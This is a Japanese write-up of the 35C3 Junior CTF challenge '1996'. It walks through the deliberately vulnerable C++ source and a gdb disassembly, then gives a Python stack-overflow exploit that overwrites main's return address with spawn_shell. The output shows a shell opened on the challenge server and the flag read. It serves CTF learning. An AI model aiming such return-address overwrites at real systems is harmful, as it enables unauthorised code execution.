35C3 Junior CTF: 1996

問題

問題文

It's 1996 all over again!

nc 35.207.132.47 22227

Difficulty estimate: very easy

問題概要

x86_64 の ELF ファイルとそのソースコードおよびそのプログラムが動いている接続先が与えられる.

解答例

指針

  • buffer overflow による return address の書き換え

解説

与えられた C++ソースコードは以下のようなものであった.

// compile with -no-pie -fno-stack-protector

#include <iostream>
#include <unistd.h>
#include <stdlib.h>

using namespace std;

void spawn_shell() {
    char* args[] = {(char*)"/bin/bash", NULL};
    execve("/bin/bash", args, NULL);
}

int main() {
    char buf[1024];

    cout << "Which environment variable do you want to read? ";
    cin >> buf;

    cout << buf << "=" << getenv(buf) << endl;
}

buffer overflow により main() の return address を spawn_shell() のアドレスに書き換えればいい.

変数 buf[] の先頭アドレスから Stack トップにある return address までの距離, すなわちオフセットを gdb を使って調べた.

kira@~$ gdb -q 1996
Reading symbols from 1996...(no debugging symbols found)...done.
(gdb) start
Temporary breakpoint 1 at 0x4008d1
Starting program: /home/kira/1996

Temporary breakpoint 1, 0x00000000004008d1 in main ()
(gdb) disas
Dump of assembler code for function main:
   0x00000000004008cd <+0>:     push   rbp
   0x00000000004008ce <+1>:     mov    rbp,rsp
=> 0x00000000004008d1 <+4>:     push   rbx
   0x00000000004008d2 <+5>:     sub    rsp,0x408
   0x00000000004008d9 <+12>:    lea    rsi,[rip+0x188]        # 0x400a68
   0x00000000004008e0 <+19>:    lea    rdi,[rip+0x200779]        # 0x601060 <_ZSt4cout@@GLIBCXX_3.4>
   0x00000000004008e7 <+26>:    call   0x400760 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt>
   0x00000000004008ec <+31>:    lea    rax,[rbp-0x410]
   0x00000000004008f3 <+38>:    mov    rsi,rax
   0x00000000004008f6 <+41>:    lea    rdi,[rip+0x200883]        # 0x601180 <_ZSt3cin@@GLIBCXX_3.4>
   0x00000000004008fd <+48>:    call   0x400740 <_ZStrsIcSt11char_traitsIcEERSt13basic_istreamIT_T0_ES6_PS3_@plt>
   0x0000000000400902 <+53>:    lea    rax,[rbp-0x410]
   0x0000000000400909 <+60>:    mov    rsi,rax
   0x000000000040090c <+63>:    lea    rdi,[rip+0x20074d]        # 0x601060 <_ZSt4cout@@GLIBCXX_3.4>
   0x0000000000400913 <+70>:    call   0x400760 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt>
   0x0000000000400918 <+75>:    lea    rsi,[rip+0x17a]        # 0x400a99
   0x000000000040091f <+82>:    mov    rdi,rax
   0x0000000000400922 <+85>:    call   0x400760 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt>
   0x0000000000400927 <+90>:    mov    rbx,rax
   0x000000000040092a <+93>:    lea    rax,[rbp-0x410]
   0x0000000000400931 <+100>:   mov    rdi,rax
   0x0000000000400934 <+103>:   call   0x400780 <getenv@plt>
   0x0000000000400939 <+108>:   mov    rsi,rax
   0x000000000040093c <+111>:   mov    rdi,rbx
   0x000000000040093f <+114>:   call   0x400760 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt>
   0x0000000000400944 <+119>:   mov    rdx,rax
   0x0000000000400947 <+122>:   mov    rax,QWORD PTR [rip+0x200692]        # 0x600fe0
   0x000000000040094e <+129>:   mov    rsi,rax
   0x0000000000400951 <+132>:   mov    rdi,rdx
   0x0000000000400954 <+135>:   call   0x400770 <_ZNSolsEPFRSoS_E@plt>
   0x0000000000400959 <+140>:   mov    eax,0x0
   0x000000000040095e <+145>:   add    rsp,0x408
   0x0000000000400965 <+152>:   pop    rbx
   0x0000000000400966 <+153>:   pop    rbp
   0x0000000000400967 <+154>:   ret
End of assembler dump.

以下の部分より buf[] の先頭アドレスが [rbp-0x410] であることが分かった. また x86_64 では関数の引数を Stack に push するのではなく RDI レジスタや RSI レジスタなどの汎用レジスタを介して渡していることも確認できる.

   0x00000000004008ec <+31>:    lea    rax,[rbp-0x410]
   0x00000000004008f3 <+38>:    mov    rsi,rax
   0x00000000004008f6 <+41>:    lea    rdi,[rip+0x200883]        # 0x601180 <_ZSt3cin@@GLIBCXX_3.4>
   0x00000000004008fd <+48>:    call   0x400740 <_ZStrsIcSt11char_traitsIcEERSt13basic_istreamIT_T0_ES6_PS3_@plt>

Call Stack の状態を模式図で書くと以下のようになる.

(lower address)

...
| top of buf  | <= rbp-0x410
...
|  saved rbp  |
| return addr |

(higher address)

したがって buf の先頭アドレスから return address までは, [rbp-0x410] ~ [rbp-0x1] までの 0x410 Bytes と sabed rbp の 8 Bytes を足した 0x418 Bytes の距離がある.

spawn_shell のアドレスも調べる.

(gdb) disas spawn_shell
Dump of assembler code for function _Z11spawn_shellv:
   0x0000000000400897 <+0>:     push   rbp
   0x0000000000400898 <+1>:     mov    rbp,rsp
   0x000000000040089b <+4>:     sub    rsp,0x10
   0x000000000040089f <+8>:     lea    rax,[rip+0x1b3]        # 0x400a59
   0x00000000004008a6 <+15>:    mov    QWORD PTR [rbp-0x10],rax
   0x00000000004008aa <+19>:    mov    QWORD PTR [rbp-0x8],0x0
   0x00000000004008b2 <+27>:    lea    rax,[rbp-0x10]
   0x00000000004008b6 <+31>:    mov    edx,0x0
   0x00000000004008bb <+36>:    mov    rsi,rax
   0x00000000004008be <+39>:    lea    rdi,[rip+0x194]        # 0x400a59
   0x00000000004008c5 <+46>:    call   0x4007a0 <execve@plt>
   0x00000000004008ca <+51>:    nop
   0x00000000004008cb <+52>:    leave
   0x00000000004008cc <+53>:    ret

0x0000000000400897 であるとわかった.

以上より Exploit は以下のように書ける.

#!/usr/bin/env python2

win_addr = "\x97\x08\x40\x00\x00\x00\x00\x00"

buf = 'A' * (0x418)
buf += win_addr

print (buf)
  • 実行結果
$ (python2 exploit.py; cat) | nc 35.207.132.47 22227
Which environment variable do you want to read? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@=ls
1996
bin
boot
dev
etc
flag.txt
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
cat flag.txt
35C3_b29a2800780d85cfc346ce5d64f52e59c8d12c14